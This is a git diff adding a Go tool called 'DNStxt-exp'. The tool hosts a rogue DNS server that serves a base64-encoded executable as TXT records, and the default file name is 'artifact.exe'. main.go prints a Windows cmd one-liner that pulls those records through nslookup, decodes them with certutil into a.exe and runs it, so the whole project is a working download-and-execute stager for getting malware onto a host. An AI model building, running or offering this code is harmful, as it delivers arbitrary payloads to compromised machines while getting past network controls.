diff --git a/.gitignore b/.gitignore index 66fd13c..92cdd49 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,7 @@ # Dependency directories (remove the comment below to include it) # vendor/ + +.idea +release +build.sh \ No newline at end of file diff --git a/dns/server.go b/dns/server.go new file mode 100644 index 0000000..384ba8e --- /dev/null +++ b/dns/server.go @@ -0,0 +1,123 @@ +// Package dns Created by vaycore on 2021-12-31. +package dns + +import ( + "fmt" + "golang.org/x/net/dns/dnsmessage" + "net" +) + +type Server struct { + serverName string + port int + txtRecord []string +} + +func CreateServer(name string, port int, record []string) *Server { + if len(name) == 0 { + name = "google" + } + if port < 0 || port > 65535 { + port = 53 + } + if len(record) == 0 { + record = []string{"default txt record"} + } + return &Server{ + serverName: name, + port: port, + txtRecord: record, + } +} + +func (s Server) StartDNSServer() { + conn, err := net.ListenUDP("udp", &net.UDPAddr{Port: s.port}) + if err != nil { + panic(err) + } + defer conn.Close() + fmt.Printf("Start Listing ... 0.0.0.0:%d, ServerName: %s\n", s.port, s.serverName) + for { + buf := make([]byte, 512) + _, addr, _ := conn.ReadFromUDP(buf) + + var msg dnsmessage.Message + if err := msg.Unpack(buf); err != nil { + fmt.Println(err) + continue + } + go s.queryHandler(addr, conn, msg) + } +} + +// dns record query handler +func (s Server) queryHandler(addr *net.UDPAddr, conn *net.UDPConn, msg dnsmessage.Message) { + // query info + if len(msg.Questions) < 1 { + return + } + question := msg.Questions[0] + var ( + queryTypeStr = question.Type.String() + queryNameStr = question.Name.String() + queryType = question.Type + queryName = question.Name + ) + fmt.Printf("[%s] queryName: [%s]\n", queryTypeStr, queryNameStr) + // find record + var resource dnsmessage.Resource + switch queryType { + case dnsmessage.TypeTXT: + resource = NewTXTResource(queryName, s.txtRecord) + case dnsmessage.TypePTR: + resource = NewPTRResource(queryName, s.serverName+".") + default: + fmt.Printf("not support dns queryType: [%s] \n", queryTypeStr) + return + } + + // send response + msg.Response = true + msg.Answers = append(msg.Answers, resource) + Response(addr, conn, msg) +} + +// Response return +func Response(addr *net.UDPAddr, conn *net.UDPConn, msg dnsmessage.Message) { + packed, err := msg.Pack() + if err != nil { + fmt.Println(err) + return + } + if _, err := conn.WriteToUDP(packed, addr); err != nil { + fmt.Println(err) + } +} + +// NewTXTResource TXT record +func NewTXTResource(query dnsmessage.Name, txt []string) dnsmessage.Resource { + return dnsmessage.Resource{ + Header: dnsmessage.ResourceHeader{ + Name: query, + Class: dnsmessage.ClassINET, + TTL: 600, + }, + Body: &dnsmessage.TXTResource{ + TXT: txt, + }, + } +} + +// NewPTRResource PTR record +func NewPTRResource(query dnsmessage.Name, ptr string) dnsmessage.Resource { + name, _ := dnsmessage.NewName(ptr) + return dnsmessage.Resource{ + Header: dnsmessage.ResourceHeader{ + Name: query, + Class: dnsmessage.ClassINET, + }, + Body: &dnsmessage.PTRResource{ + PTR: name, + }, + } +} diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..e5c1f2f --- /dev/null +++ b/go.mod @@ -0,0 +1,5 @@ +module dnstxt-exp + +go 1.17 + +require golang.org/x/net v0.0.0-20211216030914-fe4d6282115f diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..cc3a21a --- /dev/null +++ b/go.sum @@ -0,0 +1,7 @@ +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= diff --git a/main.go b/main.go new file mode 100644 index 0000000..e13e31f --- /dev/null +++ b/main.go @@ -0,0 +1,81 @@ +package main + +import ( + "dnstxt-exp/dns" + "dnstxt-exp/utils" + "flag" + "fmt" + "syscall" +) + +var ( + serverName string + port int + encodeFile string + prefixFlag string + textRecord []string +) + +const banner = ` +_____________ _____________ _____ +___ __ \__ | / /_ ___/_ /____ ___ /_ _________ _________ +__ / / /_ |/ /_____ \_ __/_ |/_/ __/_______ _ \_ |/_/__ __ \ +_ /_/ /_ /| / ____/ // /_ __> < / /_ _/_____/ __/_> < __ /_/ / +/_____/ /_/ |_/ /____/ \__/ /_/|_| \__/ \___//_/|_| _ .___/ + /_/ +` +const version = "0.0.1" + +func parseFlag() { + flag.StringVar(&encodeFile, "f", "encode.txt", "Generate encode.txt file command: "+ + "==> certutil.exe -encode artifact.exe encode.txt <==\n") + flag.StringVar(&serverName, "name", "public1.alidns.com", "DNS server name") + flag.IntVar(&port, "p", 53, "DNS server port") + flag.StringVar(&prefixFlag, "flag", "exec", "Add prefix flag to lines") + flag.Parse() +} + +func printBanner() { + fmt.Printf("%s\n", banner[1:]) + fmt.Printf("DNStxt-exp Version: %s -- Created by vaycore\n\n", version) +} + +func printHelp() { + fmt.Println("Options:") + flag.PrintDefaults() + fmt.Println() +} + +func onInit() { + parseFlag() + // check file exists + if !utils.FileExists(encodeFile) { + printHelp() + fmt.Printf("encode file %s is not exists\n", encodeFile) + syscall.Exit(1) + } + // check file lines + lines := utils.FileReadingLines(encodeFile) + if len(lines) == 0 { + printHelp() + fmt.Printf("encode file %s no content!\n", encodeFile) + syscall.Exit(1) + } + // add prefix flag to lines + for _, line := range lines { + newLine := prefixFlag + line + textRecord = append(textRecord, newLine) + } +} + +func main() { + printBanner() + onInit() + fmt.Println("Revert file and run:") + fmt.Println(`cmd /v:on /Q /c "set a= && set b= && ` + + `for /f "tokens=*" %i in ('nslookup -qt^=TXT www.baidu.com 0.0.0.0 ^| findstr "exec"') ` + + `do (set a=%i && echo !a:~5,-2!)" > d.txt && certutil -decode d.txt a.exe && cmd /c a.exe`) + fmt.Println() + server := dns.CreateServer(serverName, port, textRecord) + server.StartDNSServer() +} diff --git a/utils/utils.go b/utils/utils.go new file mode 100644 index 0000000..0686651 --- /dev/null +++ b/utils/utils.go @@ -0,0 +1,42 @@ +// Package utils Created by vaycore on 2021-12-31. +package utils + +import ( + "bufio" + "os" + "strings" +) + +func FileExists(path string) bool { + _, err := os.Stat(path) + return err == nil || os.IsExist(err) +} + +func FileReadingLines(filename string) []string { + var result []string + file, err := os.Open(filename) + defer file.Close() + if err != nil { + return result + } + + scanner := bufio.NewScanner(file) + for scanner.Scan() { + if line := scanner.Text(); IsNotEmpty(line) { + result = append(result, line) + } + } + + if err := scanner.Err(); err != nil { + return result + } + return result +} + +func IsNotEmpty(value string) bool { + return !IsEmpty(value) +} + +func IsEmpty(value string) bool { + return len(value) == 0 || len(strings.TrimSpace(value)) == 0 +}